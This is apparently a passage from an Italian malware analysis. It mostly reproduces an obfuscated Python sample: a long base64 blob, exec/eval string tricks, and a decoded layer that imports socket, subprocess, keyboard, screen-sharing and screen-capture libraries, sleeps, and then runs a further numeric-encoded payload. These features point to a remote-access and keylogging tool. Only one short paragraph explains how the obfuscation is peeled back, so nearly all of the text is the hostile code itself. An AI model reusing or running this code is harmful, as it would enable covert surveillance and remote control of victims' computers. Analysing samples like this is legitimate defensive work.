NDgyNDAgNjg4MTkyNyA3OTA5NDg1IDM3MTE3OTIgMzY5Mzg4OCAyMjE0MTc2IDk2MzY4MCAzMjQ1Nzk0IDE2NTk4NDQgNzgxNzk2NCAyNzc3NTQ1IDI5OTQ1MTcgNDA3MzY1NSAxNjE1MzI4IDgzNDQ3MSAxODIzNTA4IDQ1NjU3NzAgMTEzMTQ1MjQgOTc0MjIxMiA2NTU0ODgzIDE0Mzk4NTYgMzA1NzU2MCAzODAwOTg3IDE3MTAwMTYgNzM3MTkwIDQyNzk3MDAgNDE4OTM3OSAxOTg2NjU0IDMxNjc4NzIgNzM1MzAyNyAyNjkwMDAgMzkxNjMyIDE0ODgzOTYgNDExODAwIDE5MjcwNzIgMzE5NjU3NiAyOTE4MzA0IDExNjA4MDAgMTAyNzQ0NjAgNzM2ODE5MiAyNDExMDEwIDg2NjE2MCA2NjA2OTE1IDE5MzI2MDggNzQ3MDg3NiA4OTM5NjUyIDQ5NjQzMTAgOTE3ODQ3NiAxNTkwMjQ0IDcwMzkxMCAzODA5OTIgMzIzMjk2IDMwMjgxNjAgMjA3MTUyMCAyMzE5MzYgMzA2NDEyOCA2NDI2NTYgMjAwODM4NCAyMjc5NjMyIDU3Nzc3MzAgNjE0NjExMyA4MTUzNDggNDg5MTQzMCA5OTEyMTg2IDEzOTAzNjggMTIyNzQ0MiAxNjI0MTI4IDIyODg1IDM5OTc5NTIgMjY0NTY0NCAxMDE3NzkyIDY4NzMxNTEgNjM0Njc5MSAzNjY1MzE2IDE1NjcyNDAgNDY3MDIzOSAxNjU2ODY0IDg4ODIwMCAzODk4MDI0IDIxNDg2NDYgMTM4MDY0NCA2NzA0MjAwIDcwNDQyNDUgNzYzNTc3MSAxNDI4MTI2IDU1ODMzMDAgNzg3Mjc0OCAxMDU0NDAwIDIwNjAxNjggNDA0NTMwIDEwNzQwODAgMjg1NTA3MiAyNjgyNTI4IDM5MDU5MiAyOTQ4NTc2IDcwMjAxNiA3MzYzODQgMTU5NTUyMCA4Mjk4MDQ1IDE0MjIxODYgMzU4ODQ4IDIyMTcyMDggMTE3MTM5MCA4ODI1MjggMzg5ODEzOSA0ODQ2MjU0IDQzNzc5NTYgMjcwNDE5MCAxMTE2NTEyIDUyMzMyMDAgMzc1NzA1MCAxNDk2NzA0IDQyMzA0MDQgMTAzNzQ0MjAgNDMxOTUxMSAxNTIzOTg4IDc0OTk3NTUgOTUyNTcyNiA0NDI3ODk0IDEwOTYwNjQgNTM0ODM3NiAzMDAwMjQwIDc4NTQ4NDAgMTU4NzQxNyAyNTA5NDMwIDQxNTczMjQgODkwMDY0NSA2OTg0NTI1IDEwMTExMzcyIDIxMTM3MjcgMjg5Mjk3OCA1MjgxNDggMzkxMzEyMCAyMzM5NDYwIDgyNTkxMCAyMjA0NTc2IDM4NjY4OCAxMTk3NjAwIDEyNDI0OTYgMjU1ODA4IDIzMDM0NTYgNDkzMTg0IDU5MDY4OCA3ODYwODMgMjMyNjk2OCA1ODQ5MDE1IDU3MTMwNjUgMTc3Mjg4NiAxNjUzMzQ0IDQ1NzU4NSA0MjY0NjI0IDI1MzAyNzYgNjc1OTM1NSA4MDg5Nzk3IDQ5MTI5MzAgNTAzNTYwMCAyNTAxMzIwIDE3MzYyNzggNDI0OTk4NiAzNzg3NjE5IDI4NzE0MDIgMjY2Mzc2OCA2NjQzNjc5IDM1NjI5MDAgMjk3MTA4OSAyNjE5NjAgNTM3NDIwMCAyNDk1NDA3IDE2MTk4MDAgMTIxNjYzNCAyNTY3NzQ4IDIzMTM1MCAyNDkzNjQ1IDgyOTE0MDAgNjc1MTA4MCA4NjQwNzU2IDE5MjMxNDEgOTU0ODgwIDE1NjM5MTIgMTA4ODEwNzIgMTM4NzYyIDUwNjY5NjggNDMzODgwNiAzNDA1MTAgMjI1NTEzNiAxMjQ5NDcyIDE4MzMzNDQgMjAxMzk1MiAxMDc5NzUxMiAxNzkyNTM2IDYxMzA0NjUgMzQzODcwNCAzNzMwNTYgNjY4NDYwIDMxNjEyMTYgMjQzNTI5NiAxMzkwMDE2IDEyMjU5MjAgMjc0ODggNTQ1NTY4IDIwMDAzODQgMjI1NjMyMCA1MjMxNTgwIDgyMjA5MTIgMjU4NDk2MCA1OTg1MjU5IDE3MzUzOTIgMTAyODk4NTUgODM2NzYyNCA5MDk0MTQwIDIxNDIzNTQgNDQ3MTg3NiA2MjU4ODk2IDY5NzgyMCAxOTMwMzkwIDQ0ODk5NSA4NzgzMTgxIDEwMTg2MjkzIDgzNDAyNzcgMTYyMDg2OCAzMTk2NTYwIDExMTQ3NTI1IDEwOTgxMTE5IDMwMzMyNjEgNjMyNzAxNyA0OTU0NzU3IDEwNjY4ODY4IDMzMzkyNzggMzE3MDgzMCAzMDQyNzYwIDI1NzMxNzAgNTI1MjkzNCAzODIzNjM4IDUwOTU1MTIgNDkyNjc2OCAzMjc0ODc2IDMxOTM1MzYgNjkxNDAzMCAxMjc3Mjc3IDQyMjYzMTAgNDY1NDYwNyA1ODc4OTA3IDE1MDY4NCAzNzE3Njc0IDU0Mjk1MjggNDIxMDcwIDU2NTg4MjAgNTc5OTUyNSA2ODA1MjMwIDgwOTQwNzcgNTA0Njk3MiA1NDk4ODM4IDI0ODIxMzcgNjIxMzAyNSAxNzYzOTE2IDE2MjY1NTIgMjcyMjU1NSAyMjIzMDQwIDkwMjI5MDAgNzMzNDQzMiAyNzMyOTUyIDUzMDA4NTYgNDM5OTM3NCAxMDE1MDY5MCAxMDAxMzMwMCAxMTQ5NjgzIDU5NzUyNDQgODgyNjU1NiAyNDczNjAwIDIyNTUyODAgNjM4NjExMiA1MTQ0Nzk2IDY2MzE3MCA3NDk3NjcyIDQ2ODczMiAyNzYzMjY0IDE3NzY1NDQgNjUxMjggMTY4MTI0MCA0MDUzMDk5IDExMjY5MjYgMjQ2NzgzMSA0NzU3MTAgNTE4NTkyIDE2MzI5NiA2Mjk5ODQgMjgyNTQ3MiAxNzM3OTIgMTUwOTU2OCAyNTk0NjI0IDExMjI3NTIgNTQ5NDIzMCAyMjAwMjI0IDU4NTUyMjAgOTkxNTgwNCA1NTkxOTY2IDIyODYxMTIgNzkzMzQ2NCA4NDE0NjgyIDQzMTI2MiA0NjQ0NTg2IDM1MzE3MzYgMzI5MTg0IDg4NzYwNDMgMjUyMTI0MCAzNTk4MjAxIDkwMzc0MCAyNzI3MjMyIDI0ODg0NDggMTQwOTkyMCAyNjAwMzIwIDY2Njg3MjcgNTQ4NDcyMCAzNjAxNjIwIDkyMzAwODcgMTAzMTAzODQgMjQ5NTUwOCAxMjUwMDc0IDMxNTM1MDQgOTk3MDQ2NCA0NzU5NTk2IDEwMDc5ODY1IDY2NTgyNzAnO3doeSxhcmUseW91LHJlYWRpbmcsdGhpcyx0aGluZyxodWg9Ilx4NWZceDVmXHg1Zlx4NWYiLCJceDY5XHg2ZVx4MjhceDYzXHg2OFx4NzJceDI4XHg2OVx4MjlceDIwXHg2Nlx4NmYiLCJceDI4XHgyMlx4MjJceDJlXHg2YVx4NmYiLCJceDcyXHgyMFx4NjlceDIwXHg2OVx4NmVceDIwXHg1Ylx4MzFceDMwXHgzMVx4MmNceDMxXHgzMlx4MzBceDJjIiwiXHgzMVx4MzBceDMxXHgyY1x4MzlceDM5IiwiXHg1Zlx4NWZceDI5XHgyOSIsIlx4NWRceDI5XHgyOVx4MjhceDVmXHgyOCI7Yj0nZUp5TGNpOHhkc3oxeUhWMDl6R0lDb3d5aVNvUHlnSFNSZ0Jmdmdldic7X19fXygiIi5qb2luIChjaHIgKGludCAoT08wME8wT08wME8wTzBPTzAwIC8yICkpZm9yIE9PMDBPME9PMDBPME8wT08wMCBpbiBbMjAyICwyNDAgLDIwMiAsMTk4IF0gaWYgX19fX18hPV9fX19fXykpKGYnXHg1Zlx4NWZceDVmXHg1Zlx4MjhceDIyXHgyMlx4MmVceDZhXHg2Zlx4NjlceDZlXHgyOFx4NjNceDY4XHg3Mlx4MjhceDY5XHgyOVx4MjBceDY2XHg2Zlx4NzJceDIwXHg2OVx4MjBceDY5XHg2ZVx4MjBceDViXHgzMVx4MzBceDMxXHgyY1x4MzFceDMyXHgzMFx4MmNceDMxXHgzMFx4MzFceDJjXHgzOVx4MzlceDVkXHgyOVx4Mjkoe19fX18oYmFzZTY0LmI2NGRlY29kZShjb2RlY3MuZGVjb2RlKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGIiZUp3OWtGRnpSREFVaGYvU2l0WFdJMU9za0tJczRRMnppMDRRWFNISnJ5OW10dzkzNXB3ejk4NTM1bWFFbHFuUUg1Nnl6MGRMZ1N0UXlBNlBrNHhSY0FGR3FDM0dhbkVFalE0bGw4b0grcTc3WEZyaTBEWjdHeE94UEgxRHI1bWdhbEg1TXU2UjQ1OXltUUlqK2Q5ZHNNMWJsTGpyQ0N5QlEzN2ZXRFdWeW1NRW1adzhZL1U5cTZOYnAxelczUURQRzQ4Um5JaDJDbG1kOTNPTjdVQ09ham9QZGxDUFN6Q2F6amZKdzYrekdjMzNOT0xFREgvbW91ZDdkaW9pTmgwOHFMMTQyejEvUng0VFBtSHFjT1czWDZnckdNUUUyUTFCTU9ZRDFFcXNXdFhnRmJmaDZsYUgzak9uZWY1cDYxWWFBc0hQcXJENWttMC8vQU44UzNGdiIpKS5kZWNvZGUoKSwiIi5qb2luKGNocihpbnQoaS84KSkgZm9yIGkgaW4gWzkxMiwgODg4LCA5MjgsIDM5MiwgNDA4XSkpLmVuY29kZSgpKSl9KScpCg=='))
# okay decompiling mini.pyc
Il fatto che il codice originale in questo caso sia stato offuscato tramite l’uso di exec
e di stringhe gioca a nostro favore. Infatti decompilare il codice python è diventato complesso nelle ultime release per via delle nuove feature e ricostruire minuziosamente il flusso di controllo non è immediato. Tuttavia, avendo nascosto il codice originale dietro un layer di offuscazione che, a livello di statement, è piuttosto semplice, permette di riottenere agevolmente il sorgente originale.
Il primo livello di offuscazione è piuttosto semplice: si tratta di decodificare da base64. Il codice ottenuto però è più articolato.
import socket, os, sys, subprocess, keyboard, threading, platform, requests, struct, PIL, time
from vidstream import ScreenShareClient
from mss import mss
import random as _______, base64, codecs, zlib, time
time.sleep(48)
__irm_obfuscator__ = ""
import random as _______, base64, codecs, zlib
_=lambda OO00000OOO0000OOO,c_int=100000:(_OOOO00OO0O00O00OO:=''.join(chr(int(int(OO00000OOO0000OOO.split()[OO00O0OO00O0O0OO0])/_______.randint(1,c_int)))for OO00O0OO00O0O0OO0 in range(len(OO00000OOO0000OOO.split()))))
eval("".join(chr(i) for i in [101,120,101,99]))("\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x5f\x5f\x22\x2c\x70\x72\x69\x6e\x74\x29\x3b\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x5f\x22\x2c\x65\x78\x65\x63\x29\x3b\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x22\x2c\x65\x76\x61\x6c\x29")
__='8187795 6166566 669984 7323780 8101980 773836 15520 4844145 4242309 2502324 4988768 1059692 259608 3208304 2079808 8108106 5951480 261140 1354688 9825140 9239318 7013390 3837592 2964576 9336390 8776287 7141064 2863952 1817274 169275 4722696 6944558 1259940 782575 748352 573024 3145800 3481167 2182114 2005864 4692192 2398713 4711848 7687200 4194960 1639488 11492352 247832 7724412 9409564 4474707 6099400 6614475 2839870 1048231 892804 2530400 7948416 10077372 7273545 5861944 3566940 419913 5393112 8440415 1572472 2727776 4820490 4282905 2741832 1326897 396728 9917255 8402460 10249375 1111044 531904 701730 10114272 11139852 9690642 1772199 6092088 1688060 2201824 862160 1962021 6122104 3783164 1942688 9076420 2030175 7940105 6109086 784690 5834298 273714 782106 8852544 239520 9912000 8008350 1303200 5242505 10441160 1630884 9345126 6673309 38804 2008768 8018850 9174094 6237504 7221105 5658504 3059500 910656 2763236 7455591 1989870 6674989 530654 5115220 216547 4461392 5779939 4220850 8099796 6083332 3534624 6848415 5373806 1669910 3944 837250 4178940 8240490 5828832 10589350 1745504 9875291 491510 9435865 1867936 4858875 10892479 10313968 1844043 2931054 9697484 591328 9928919 2586235 2973785 908210 4576000 1047309 3248336 2436192 1593259 482336 2426880 7091590 455444 10065375 3225474 8707593 10981050 1132485 5403456 2664025 1105632 7104456 3818125 890133 778680 1893551 4254663 6995016 2514400 3078487 965568 666040 905726 3605212 4458201 481252 1541904 4369950 3264896 3060530 4382511 1120744 178948 1790019 1603576 1846845 2633052 1512192 5088560 1946718 514386 1301916 320736 56425 1542208 3534388 4308928 2942139 852108 2476230 984256 262680 6577215 5948390 4945780 2419416 7723908 687168 4409324 483872 2284135 2300016 2580968 4705568 5219811 5301780 4019166 238006 1894528 3057554 5826912 2538400 2289040 7773190 5132530 2356368 6425939 4674000 2986784 2840404 3185920 358530 5115840 7959700 4294077 5857040 4810520 2317812 2518295 4032000 1335732 7725876 5104212 600134 2218459 344736 1808664 7947755 752850 6644400 6472338 6653972 6750225 2848394 6577665 7895430 5972226 67872 5952685 1089952 689936 2164848 1442328 3470580 1499662 2311808 4294719 10563315 3689650 8065568 1483704 752046 1186816 5848558 2188928 2197400 9414090 1355886 3089268 2534840 9262627 2376015 8386625 3341792 3014074 2173920 3736647 240096 361536 355908 4207350 8951360 7944724 2594280 957231 10867233 3358508 1140496 8222040 7960416 2771190 152170 1255410 11414785 4147866 7616224 136419 8799616 450864 10810030 801840 5554308 1561287 7242078 9851237 1484127 222528 6036504 1190300 6270000 2385536 786420 2491920 1574025 4511910 5142598 985720 1657580 618800 1966196 7060610 940056 6442878 1574832 1268535 3583175 787172 3354090 2178084 2027312 3027093 205163 6021960 7281456 8233419 5898360 4223082 6420519 7748240 1286516 6205185 9330651 11320656 2522031 6630785 3842931 9787410 9230004 7136992 3483219 1170750 4070770 143300 2792205 8444359 2151995 2625128 1720359 5536089 3502194 6773538 9403201 6751140 7231556 2995122 9540258 4715268 5204555 9638370 9513921 7073220 703800 5324178 1241019 4820970 1027140 1860896 4417718 3387072 118432 6348276 2058178 8112207 6361200 8238668 4577926 5375252 2875552 3986822 3861640 2207968 1060014 1973193 2877843 7457500 1995071 1337310 2144512 1464661 4415000 483648 1406002 2529741 7156314 2676876 7028320 4972240 1295136 6608026 11895500 1546796 2731092 3230923 827020 3376800 3937788 6728022 477504 6113844 1662552 9639210 6758011 4821850 4619120 6626725 1561585 1077292 4377125 8468832 118668 844480 1662386 3875908 918240 387040 2236000 538240 741408 7776200 8535106 3174036 1504320 7686026 815382 2256555 7902510 1369248 3293080 2573734 1078800 482840 333792 2872288 457440 125280 798944 1438848 3139776 2896640 4179006 10141965 5891936 444030 2746590 3902892 9765201 4952970 626496 2500512 1595520 2585745 11154885 4208356 8262763 1660339 775692 7068492 6916743 1556124 2700285 873730 3868000 3397957 857093 240160 6924882 6230387 4836785 1528300 873235 403392 3320047 1391840 5576085 6929440 459632 4129476 2844564 1339336 7107705 5355 505700 2613000 23411 3715803 4167358 960302 6239556 269600 1004224 1269760 241696 2195840 334720 2159744 1753568 2677760 7888200 9354923 7417950 1530560 7119294 10993704 5000296 3762320 2237200 4147720 4499872 3233883 3693854 5190594 167760 3103232 1739264 2053088 1605632 1047072 604352 2108576 543616 455520 2594304 1181024 1032864 2369171 7461615 463652 2388568 3008960 5444772 2042768 9174537 8720140 2117160 5292882 88570 3739815 5262996 4871533 2961365 11451288 4350885 1400375 252242 8098392 8077968 2629645 1325950 6921429 5410668 10341260 1476968 7991120 5510892 4494204 10868995 8715795 7653162 5278130 6820458 2279517 3262875 11307375 4686020 9182520 4532580 728896 10673152 576504 1528138 10144896 5019362 1031412 1316336 2454260 9118095 1141593 6819694 6773970 4969140 2548529 1077136 6402556 4060008 7955366 1082829 9977688 4762122 4320644 6835600 2035270 11423216 2382600 10682788 1426640 909832 1422628 2153982 1975366 1663903 252608 8267407 2723545 939264 2728908 3854235 4737420 4007882 3495660 2217248 5209038 8511300 9845172 9252509 597724 11525388 4585308 3480225 5790720 4931123 1831600 9406100 1958818 8270684 610227 1261488 625250 1239872 2582336 3059808 1464608 1817536 2676736 677792 1142560 268700 1436321 4657116 1521536 8675304 6929943 9258258 1087840 9278676 3303248 6113037 10876512 3971342 1353024 336470 878848 1469472 2634208 3089120 1773024 3186048 2715712 2578432 579680 2381664 2866144 453184 5159385 8725488 1110400 255024 7492680 2508323 5828250 1439616 4886710 5692093 489152 2570706 8171210 2605568 2884586 9113742 736997 2725440 2551768 677536 2657112 2102416 10775936 3774303 7597416 4455440 580448 1009154 1621600 8398 53750 1128960 1216544 1833504 1375904 499296 2442880 2661024 1990880 1350272 2224704 2940096 959264 308252 6396300 6485115 7360626 5184 2110752 1564187 1840630 2532240 5329170 6189560 2250594 7825530 2999027 2529920 5259274 1095136 2201178 2764860 3136480 5520108 1433796 2486112 896922 10439436 9192370 1694784 2801600 1340521 2695265 9730840 2679981 2224178 1440416 1677506 1819648 5903667 3939936 6350493 7183368 71820 640768 2112576 581632 2272256 1641248 182016 19872 2512032 2375680 2781568 826496 2112160 8430268 6603552 354660 8868608 3804626 1943264 5203416 10064145 10260780 10000926 2249562 8582310 240640 626076 7877896 1678876 8650776 992290 2404224 59488 2300768 2745408 746784 2626080 2834848 2002560 5633900 4118477 876180 2379520 4651560 1188144 3567508 1301480 3075955 802518 4141303 9819150 4570400 3050605 4440712 744064 11360573 1210566 2517780 1853960 8701518 2109852 9834440 2998880 5031719 5036240 6878605 2440680 375376 4138620 10978220 3487344 10266601 5298662 2869590 3036706 542600 1331520 2348896 1977888 2493984 20000 1544960 138752 130336 6054916 6212712 568700 9272270 7040952 1572467 9379008 926800 157964 8441883 920920 641915 2306976 633954 6169585 2406260 3359380 1586640 7860456 9775215 1997582 2081324 4252012 2415872 1887373 7458446 11399289 2285360 6282378 7925676 7031064 3707000 2571354 9462404 784439 1771875 9241024 2081200 2260207 412500 1667744 2033856 128288 2589280 4247000 5884058 3442296 1574304 6081660 7612011 3668976 3054644 241087 2289100 599560 721149 498684 858680 351584 3119200 2417792 2785088 93664 2225920 1401472 86784 11238030 5013640 2340690 7104300 8592878 9468954 1215520 1196271 541952 4350694 4555386 10451520 4330981 2162814 8469450 769493 1204320 5191149 7311732 1041209 169376 6056748 2795100 2017778 10597510 8981184 2771520 4356072 4949745 420561 6619956 3596560 824192 3027148 2272481 704476 3092497 1570218 3722723 75840 2408624 2464256 6096035 1050176 8120812 8395920 10128444 5195743 2690586 6516500 1367415 4855620 7032428 4435044 3366048 5690048 6591708 592466 3569794 6444400 3048480 2409552 1671795 8973852 4348454 1501668 9659784 3838242 10187620 4522477 5385490 3658900 1985862 2639328 72956 10173475 2406304 7880086 11155242 8058868 2333865 5477565 9271300 4288680 2197861 8851638 5056946 2761883 2224713 837216 8986056 2077268 2172580 742400 1826025 200526 395212 3249920 840828 910016 2890624 6507746 2621600 5567287 1110400 4504090 2382386 4741260 4783360 2228787 5647834 2809560 1753563 1932288 2989500 5198232 2190794 1135510 1419400 6550557 979011 10610712 5647500 4782653 1857160 3143347 23330 1490912 315072 2784128 2155872 1695456 1359648 962848 95456 7468755 4669764 1056800 1237974 8858900 1851096 2558432 2794470 5523760 778688 1558905 2631460 266240 4984445 9678729 10397090 5492000 7348457 2924442 238740 6322585 5884912 3598398 5885600 3950575 2122670 11191564 6872148 4571563 4140542 4899114 2312320 2778980 34150 1775200 1743616 2694240 735744 1642700 7823258 9061986 986400 8834430 284661 6093450 3248700 4238630 6717645 4950017 5022800 1316840 7375401 4583190 6369306 4396188 1151485 3200846 786800 2688064 594208 810080 3074464 1192352 508224 1240736 2673536 7435878 6663267 4656080 6428664 6138444 1861300 2432256 5097892 41440 7220620 10913994 5743780 2446640 7552728 5922627 8561223 1110192 5884320 3952435 3981852 5421600 6988449 4077248 5231295 6071670 2375800 8304813 3866685 8930588 8388422 4353448 1162880 7475312 2443897 6194880 1177200 2451529 375396 10323384 4405518 4915468 1288408 5346925 6285576 8324100 6036402 3125070 723028 5644635 1733740 7909317 5127164 4429152 5904288 4372290 6088698 8127167 3175955 5812675 2604796 2983840 1087919 6180800 3765330 1659548 1099860 1200368 9271000 9510665 6179370 2113902 1594662 3230695 3595995 9766386 11025168 5700684 1788654 1407978 6616510 9212880 1099975 51612 2135600 4351384 6793920 2709768 3858008 7374145 2530656 1471000 3454080 8012290 822829 5321280 10487061 4681362 7129360 6690888 8641905 7645275 9883860 10895100 11409035 775560 95360 6704758 3151680 6404787 1012085 760220 743936 2930720 568704 2707360 1201728 2476576 2935392 262784 8988672 806081 10565744 8924409 5839536 4414520 1389696 2796420 4171284 7244050 7335603 1575922 7921400 1869486 9270840 6551448 1700300 2160948 3111615 1486076 3845646 10453458 997173 7497615 7206900 1161960 2736996 3066432 4182309 2260224 3553836 2888028 8339320 5044743 8604896 7334000 591882 4111480 690896 4967400 1053329 9711318 3132720 647542 2277492 872034 7390430 7487200 3229400 626808 880720 2238560 614624 768352 751776 1251600 653369 1531632 1853088 9078675 8647392 2963643 4128732 8266104 2518200 28905 1988008 916850 602240 2286112 1294016 2520992 2237760 1471936 2110368 830848 4073875 862270 11327845 3174329 6644770 3032900 2690960 11404205 6525928 8592636 2334200 10001877 4413470 665528 4354531 861025 5990008 7350255 7305529 4342500 3460680 1965786 309944 567324 148614 4067528 79028 4454706 218020 7990785 8094120 6177000 9145752 3305800 1430108 4655620 5827668 6778940 2421855 5272288 643076 3267905 2639867 4943197 2687840 8342136 5543784 5474743 10735083 1332704 831613 92384 10785965 1528856 4814334 3385621 1815462 6125144 666120 3597594 561255 6743240 1968540 5447481 5730652 2849008 191314 9883500 4284117 8035731 9479733 7151300 9873760 1730240 2533349 770540 2660928 148512 2668384 509664 1433280 3170016 2527264 2376128 2885295 8427648 1227328 6578649 8571420 7830342 8061531 8327501 3215288 2124500 99510 762656 2263893 1355603 2216704 2843556 1827144 7146200 175440 2794846 847100 609856 1135104 2351776 3070560 1239456 1409408 1793344 685632 612672 1683072 2361664 2660256 10969650 8175624 9530514 1708912 2370924 1737344 2496852 1355488 3023488 4569759 1913025 542340 10009776 2614829 5449448 5623176 2735390 5158545 5225600 1105900 4127760 9546588 1330120 13959 1678764 10673934 1205431 4022109 2523990 959726 2470638 29110 304110 573728 1869312 3000960 272448 731232 1874976 1009728 2108192 1496320 584864 2313504 2296992 635460 4753812 2472064 4184940 4694634 1320006 5861712 6977168 1436896 3148210 2273653 1987200 3453156 8861106 2072538 9181607 5581108 568608 2606391 6689550 910524 4645575 7983768 969400 4785795 8740038 2419560 1385980 3351588 11130732 1857040 1848924 5781324 4077363 5247151 3913819 277185 2181438 554931 3093983 3232563 1687296 1819296 799488 2175552 722390 1506816 188288 82240 722048 1964416 319360 1899744 2125504 1630016 288096 1897248 729984 8275839 8167608 935985 7609037 4207146 1168992 59136 6023532 3307080 6069690 7990660 785240 3130108 3851760 10897203 1447686 4034072 981560 1137504 1209760 212832 3095968 3040704 450080 3044320 2443168 2681248 773280 1314496 1608960 4729605 1122160 2469551 3736476 10547064 3909400 1902605 920320 1501824 356448 961760 2843392 1572896 636640 1723648 2346304 2361178 488052 4335030 5175582 628992 3302692 909909 3922320 4185300 3655856 584494 238240 5863620 55110 2758656 6566967 9581853 10744893 2381868 5398060 2571520 4402944 9720438 9405060 2799500 10050936 3550240 2716045 996580 2281792 427456 725824 1501792 1012192 637312 1912544 191744 7115551 2031588 8061165 4353666 2604608 10349130 3437781 8316852 2395104 5573502 5227767 1138614 8909660 1606208 2983680 9739020 1008832 5972670 7303356 4131209 5651868 1378912 1798463 1579351 536416 863090 2559456 2223532 5501764 2460192 10179110 504816 7430873 7103808 965520 3324640 2248235 843310 3041216 833408 2723456 167040 2808768 3020096 2960000 2736704 3304114 4356504 4824710 2405315 364240 1168704 313030 1833728 2871808 1435968 2503392 1753184 2284000 609344 983744 1541472 1989600 1698880 1580576 3438270 5186438 4068300 258970 9726264 5222295 11455928 10418464 10600200 10595208 3034592 597495 1611168 8444778 8455239 1050830 972825 702570 2451636 579444 64800 1131600 2179782 5672322 6558312 2204634 2675127 176700 1630912 2558656 1888352 2874592 2051680 1903552 2392672 1556192 1271328 1052160 215136 1508704 7767060 3047148 1475712 8612890 631590 829632 1212608 991881 4893555 6281100 7465955 9068145 8783073 5039852 6589296 9882405 8941744 1438226 341216 4787220 2347242 3276580 5082017 5967060 3203600 1628520 1087558 2910453 1749132 3085275 2646710 429792 2728590 1231656 3558204 9884244 9466464 10648053 3118892 1748178 2766670 5111610 9961160 8555580 1465977 7186100 9065053 3467160 2087872 786006 1145268 6107148 1322730 523824 3387488 1867304 3186479 2821026 2530144 10889350 4719936 5665191 8247528 5421168 1884880 104919 54510 2675360 670112 1383776 685632 448480 988768 2019360 787104 3059904 333728 2092544 1607968 11424100 200284 9642060 1448138 8117780 9720100 1912160 2179422 9123763 11037168 3522880 8677555 1920000 294822 340189 9382300 7493980 10339428 64701 94424 4723264 6794073 98948 17712 926395 1746636 141056 4328370 1064128 2605295 2375244 5661684 3367160 1919456 86330 2854944 452640 665888 2969600 3839100 861934 5549310 2186816 1222947 373293 2366100 2485416 11288280 6033849 1317492 237440 3307716 1395016 855970 3105280 898688 856992 1783488 1376768 2903744 826432 3099904 5965938 260837 8411400 608960 973011 1280512 2287235 1838850 297540 8018390 306504 8443372 598560 4128828 5761470 1693090 5541900 3823290 3434242 2890459 1367350 6071600 3873148 2527173 3288819 7410300 6079897 946520 982360 187390 261216 1743712 1192128 263232 532768 2556352 2444192 3117056 8052240 9266700 283840 22950 3610144 5298840 3700410 2973196 1999540 2942816 10270050 10328230 1084032 2658744 6584254 3195300 2627922 1440512 8981392 9380718 8839110 7373630 372128 922840 1827976 3900624 2043258 3510285 1090497 9379680 2707215 4549288 4519725 4288460 8075612 975936 4261808 1632310 338606 961286 3403533 2223072 3176645 91448 5963364 2707560 8845923 8950795 93425 1004840 1591292 778310 2650240 171872 2536480 1086432 670592 1734336 2463840 2413728 7312097 4694652 8930145 3797256 2581312 3371610 7776760 5566392 2117263 36828 10356336 1726384 12448 8300565 6815270 3110208 8045730 5872811 9403900 3939302 2215840 253000 2066584 6121408 8507700 9476460 3758440 2599482 781160 1073728 5435892 2209344 4462370 3023308 1013574 10434111 8166960 1529280 3715092 64520 3104896 1336544 2611264 2756160 209952 1767168 2982624 1936928 5052929 9912564 3056235 1874760 977344 420682 9943189 1141603 777304 5382720 4877784 1283380 1345283 9864165 3114936 431460 2771200 1752240 1128600 1193952 6976035 5038743 1038200 3804510 1254016 6946892 8249280 10522542 1415313 9091422 2126500 152704 356850 2153920 2143332 4825080 1265514 1350269 3908130 843200 9491160 9723010 5406058 1599052 7727832 10243480 4434942 1309566 5939601 4748500 1231040 9855824 4668804 6312522 5777579 9498747 17400 1613877 2955232 4930179 9472826 8422680 7600230 2151843 338045 251399 2337184 8510224 8352240 3341226 4512478 5528030 4105100 4118702 8290810 2120016 2875371 1223448 9028744 1334040 1153658 2361416 3194528 5616072 1379508 7418290 5125576 1853298 5371068 9129240 2152680 831316 743420 1683520 1460320 634016 179744 1266816 2718528 2118176 2256640 2568632 3512268 10305645 9388692 2414880 833476 9424560 7108885 9181843 8719746 766800 8332215 7313823 6630041 8686230 8772890 8446308 1150517 7092396 551116 2614838 736704 4566870 4948130 1183072 2213046 6365709 8496000 1514380 307720 1376256 2243264 1532352 1311776 257248 1836448 753504 83392 687456 1609248 1921184 1417888 7843392 535242 1883850 44064 3789555 3047456 10417785 10143320 715616 3197016 892400 979330 8987162 4785683 108760 1701378 3063453 1012272 2608666 90712 292768 6232964 3180187 7035787 21364 3185700 8821665 9266946 5446900 3699550 967260 630288 9623811 7682796 129684 7961760 3952794 2166248 8215900 2811600 6671175 2520311 317120 1285056 3136992 702688 1398016 1206464 392768 164352 2366048 2705120 2912192 2209920 2326112 2236480 2086368 16384 1620576 1053984 340100 1932224 2588448 2520064 237600 528736 977792 1984512 555040 2284320 2631136 1904512 1941440 2810115 3407700 1516020 2031044 10978542 8196462 9330768 19440 194750 197810 2844192 1543264 73280 2653952 1450208 2963904 533312 1055392 6895371 3789180 306180 3751968 3038368 2131324 1291169 8801847 55781 7322462 3858840 52281 8291250 10251028 8203630 10070435 2692824 2120433 1371664 1925624 714816 591570 2572130 1717280 7409754 9947558 4878200 2621774 373140 752768 2060288 187392 2946528 2323392 2829920 2025280 1490976 2018688 3163552 93920 2105504 205326 8893431 1763010 1371168 9959985 2439040 8327865 10500600 1086752 1575252 4797814 9102610 380070 7349972 2334880 3586849 4880293 1168944 2249301 4152626 128064 7901843 8318259 3744950 3767708 8501934 798407 7465176 2619400 940010 8228961 3196930 3042312 44820 5669991 6287094 8667214 1561895 3655548 5685694 7171186 530000 3142650 1042876 62600 1989184 2495232 1321312 2632864 1357952 2662592 525024 1405376 3043552 2323840 2406848 243520 5046426 6616266 9232630 4025896 4817298 9481176 4417848 1065840 2752740 500180 2553408 2012928 2075584 1619232 2036448 690336 2924960 1851232 4662665 6420168 5643120 1266942 583424 2912848 3433908 1291285 4017020 8129640 8259066 998412 2519094 701856 7302225 8811770 2667168 3074643 5803923 4139100 4196532 2955072 7875430 11362338 9219644 1053360 3886146 8130195 5113350 7913552 8709065 7706495 2075658 3264080 987900 503888 4829820 6595600 1902880 1922054 6927600 8750976 7846605 8600936 1106900 9349863 3212167 8407520 2007264 1880505 5725764 2906336 977310 6916964 312800 1624416 814470 3268520 